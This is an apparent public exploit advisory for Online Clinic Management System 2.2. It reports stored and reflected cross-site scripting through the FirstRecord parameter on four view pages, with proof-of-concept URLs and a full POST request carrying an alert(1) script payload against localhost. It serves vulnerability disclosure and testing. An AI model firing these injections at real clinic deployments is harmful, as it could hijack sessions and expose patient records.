Online Clinic Management System 2.2 Cross Site Scripting

`# Exploit Title: Online Clinic Management System 2.2 - Multiple Stored Cross-Site Scripting (XSS)  
# Date: 27-06-2019  
# Exploit Author: Rafael Pedrero  
# Vendor Homepage: https://bigprof.com  
# Software Download Link :  
https://bigprof.com/appgini/applications/online-clinic-management-system  
# Version : 2.2  
# Category: Webapps  
# Tested on: Windows 7 64 Bits / Windows 10 64 Bits  
# CVE :  
# Category: webapps  
  
# Vulnerability Type: Stored Cross-Site Scripting  
  
1. Description  
  
Online Clinic Management System 2.2, does not sufficiently encode  
user-controlled inputs, resulting in a stored Cross-Site Scripting (XSS)  
vulnerability via the /clinic/medical_records_view.php, in FirstRecord  
parameter, GET and POST request.  
  
  
2. Proof of Concept  
  
GET:  
http://127.0.0.1/clinic/medical_records_view.php?SelectedID=2&record-added-ok=5781&SortField=&SortDirection=&FirstRecord=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&DisplayRecords=all&SearchString=  
  
POST:  
POST http://127.0.0.1/clinic/medical_records_view.php HTTP/1.1  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)  
Gecko/20100101 Firefox/70.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3  
Content-Type: multipart/form-data;  
boundary=---------------------------1512016725878  
Content-Length: 1172  
Origin: https://127.0.0.1  
Connection: keep-alive  
Referer: https://127.0.0.1/clinic/medical_records_view.php  
Cookie: online_clinic_management_system=bnl1ht0a4n7snalaoqgh8f85b4;  
online_clinic_management_system.dvp_expand=[%22tab_medical_records-patient%22%2C%22tab_events-name_patient%22]  
Upgrade-Insecure-Requests: 1  
Host: 127.0.0.1  
  
-----------------------------1512016725878  
Content-Disposition: form-data; name="current_view"  
  
DVP  
-----------------------------1512016725878  
Content-Disposition: form-data; name="SortField"  
  
  
-----------------------------1512016725878  
Content-Disposition: form-data; name="SelectedID"  
  
1  
-----------------------------1512016725878  
Content-Disposition: form-data; name="SelectedField"  
  
  
-----------------------------1512016725878  
Content-Disposition: form-data; name="SortDirection"  
  
  
-----------------------------1512016725878  
Content-Disposition: form-data; name="FirstRecord"  
  
"><script>alert(1);</script>  
-----------------------------1512016725878  
Content-Disposition: form-data; name="NoDV"  
  
  
-----------------------------1512016725878  
Content-Disposition: form-data; name="PrintDV"  
  
  
-----------------------------1512016725878  
Content-Disposition: form-data; name="DisplayRecords"  
  
all  
-----------------------------1512016725878  
Content-Disposition: form-data; name="patient"  
  
  
-----------------------------1512016725878  
Content-Disposition: form-data; name="SearchString"  
  
  
-----------------------------1512016725878--  
  
  
1. Description  
  
Online Clinic Management System 2.2, does not sufficiently encode  
user-controlled inputs, resulting in a stored Cross-Site Scripting (XSS)  
vulnerability via the /clinic/patients_view.php, in FirstRecord parameter.  
  
  
2. Proof of Concept  
  
http://127.0.0.1/clinic/patients_view.php?SelectedID=1&record-added-ok=11536&SortField=&SortDirection=&FirstRecord=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&DisplayRecords=all&SearchString=  
  
  
And Reflected Cross-Site Scripting (XSS) too.  
# Vulnerability Type: Reflected Cross-Site Scripting  
  
1. Description  
  
Online Clinic Management System 2.2, does not sufficiently encode  
user-controlled inputs, resulting in a Reflected Cross-Site Scripting (XSS)  
vulnerability via the /clinic/events_view.php, in FirstRecord parameter.  
  
  
2. Proof of Concept  
  
http://127.0.0.1/clinic/events_view.php?SelectedID=2&record-added-ok=7758&SortField=&SortDirection=&FirstRecord=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&DisplayRecords=all&SearchString=  
  
  
1. Description  
  
Online Clinic Management System 2.2, does not sufficiently encode  
user-controlled inputs, resulting in a Reflected Cross-Site Scripting (XSS)  
vulnerability via the /clinic/disease_symptoms_view.php, in FirstRecord  
parameter.  
  
  
2. Proof of Concept  
  
http://127.0.0.1/clinic/disease_symptoms_view.php?SelectedID=1&record-added-ok=1096&SortField=&SortDirection=&FirstRecord=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&DisplayRecords=all&SearchString=  
  
`